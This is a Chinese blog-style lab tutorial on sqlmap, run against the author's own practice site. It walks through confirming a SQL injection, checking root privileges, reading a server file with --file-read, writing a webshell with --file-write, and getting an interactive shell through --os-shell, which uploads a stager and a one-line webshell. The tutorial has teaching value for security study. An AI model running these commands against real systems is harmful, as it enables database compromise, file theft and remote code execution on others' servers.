0x00 SQLMAP

这个SQLMAP还是有点东西的,虽然在很多时候没有自己写的小东西好使,但是有些功能确实做的不错,好多东西还没精力去研究,看到了就记一笔。


0x01 检查当前用户

用自己的靶场做的测试。

python sqlmap.py -u "http://www.baynk.com/bvwa/vul/sqli/sqli-union-get-num.php?id=1" --os=windows --dbms=mysql --tech=u -p id

sqlmap 提权Postgresql sqlmap查看权限_sqlmap 提权Postgresql


确实存在注入,查看用户。

python sqlmap.py -u "http://www.baynk.com/bvwa/vul/sqli/sqli-union-get-num.php?id=1" --os=windows --dbms=mysql --tech=u -p id --current-user

sqlmap 提权Postgresql sqlmap查看权限_上传_02


可以看到是root权限,也可以用--privileges查看权限。

sqlmap 提权Postgresql sqlmap查看权限_php_03


那接下来先来读取文件。


0x02 读取文件

我的C盘下有个文件C:/flag.txt,可以使用--file-read来进行读取。

python sqlmap.py -u "http://www.baynk.com/bvwa/vul/sqli/sqli-union-get-num.php?id=1" --os=windows --dbms=mysql --tech=u -p id -v 3 --file-read="c:/flag.txt"

使用-v 3打开payload信息。

sqlmap 提权Postgresql sqlmap查看权限_sql_04


可以看到用的是load_file()函数,如果secure_file_priv设置正确,即使有用户权限也是无法读取成功的。

sqlmap 提权Postgresql sqlmap查看权限_上传_05


运行结束后,查看此文件就可以看到c:/flag.txt的信息了。

sqlmap 提权Postgresql sqlmap查看权限_sql_06


0x03 写入文件

写入文件,是将本地的文件,上传到服务器上,一般上传webshell比较好用,同时也得知道服务器的物理路径才行,服务器物理路径可以通过敏感文件如phpinfo,前端代码审计,页面报错,数据库报错等信息找到。

这里需要用到两个参数--file-write--file-dest,前者指定本地文件,后者指定服务器物理路径。

sqlmap 提权Postgresql sqlmap查看权限_sqlmap 提权Postgresql_07


不小心爆出错误了hhh

python sqlmap.py -u "http://www.baynk.com/bvwa/vul/sqli/sqli-union-get-num.php?id=1" --os=windows --dbms=mysql --tech=u -p id -v 3 --file-write="y:/shell/test.php" --file-dest="D:\Programs\PHPStudy\WWW\bvwa\test100.php"

sqlmap 提权Postgresql sqlmap查看权限_php_08


这里看到,用的是into dumpfile,我还以为是into outfile呢,写入以后直接去访问文件就好了。

sqlmap 提权Postgresql sqlmap查看权限_sql_09


OK,成功执行。


0x04 命令执行

这里可以使用--os-commad或者--os-shell,前者单一命令,后者是交互式shell。用法是一样的,这是用--os-shell举例。

这里sqlmap不是直接执行命令的,是通过上传webshell的方式来进行完成,先上传小马,再上传一句话。

sqlmap 提权Postgresql sqlmap查看权限_php_10


这里选php语言,然后就获取到了物理路径的信息。。。

sqlmap 提权Postgresql sqlmap查看权限_sql_11


这里是真的有点神奇。。。没看出来怎么获取到的。接着自动上传文件

sqlmap 提权Postgresql sqlmap查看权限_sqlmap 提权Postgresql_12


然后自动测试木马

sqlmap 提权Postgresql sqlmap查看权限_上传_13


访问成功后,就有shell了,注意,如果这里探测到的目录没有权限,则需要手动自己输入物理路径。

sqlmap 提权Postgresql sqlmap查看权限_sqlmap 提权Postgresql_14


命令可以正常执行。按q或者x都可以退出,退出之前去看下上传的马好了。

sqlmap 提权Postgresql sqlmap查看权限_sqlmap 提权Postgresql_15


应该是xpeswr结尾的阿。。还出两个来了,一个一个看。先看小马tmpuaxpe.php

sqlmap 提权Postgresql sqlmap查看权限_上传_16


再看一句话tmpbaswr.php

sqlmap 提权Postgresql sqlmap查看权限_上传_17


提示没变量,传cmd就行了。

sqlmap 提权Postgresql sqlmap查看权限_上传_18


效果和之前是一样的,然后又去看下另外两个,也是一个小马和一句话,可能是之前用的没注意吧。。

q退出。

sqlmap 提权Postgresql sqlmap查看权限_上传_19


删除了我刚刚创建的两个,,看来这两个真的是多余的,留下来好了-。-

这里除了用os-shell还可以用其它的--os参数,不过需要第三方组件的支持,比如超好用的meterpreter。。。有需要再测试吧。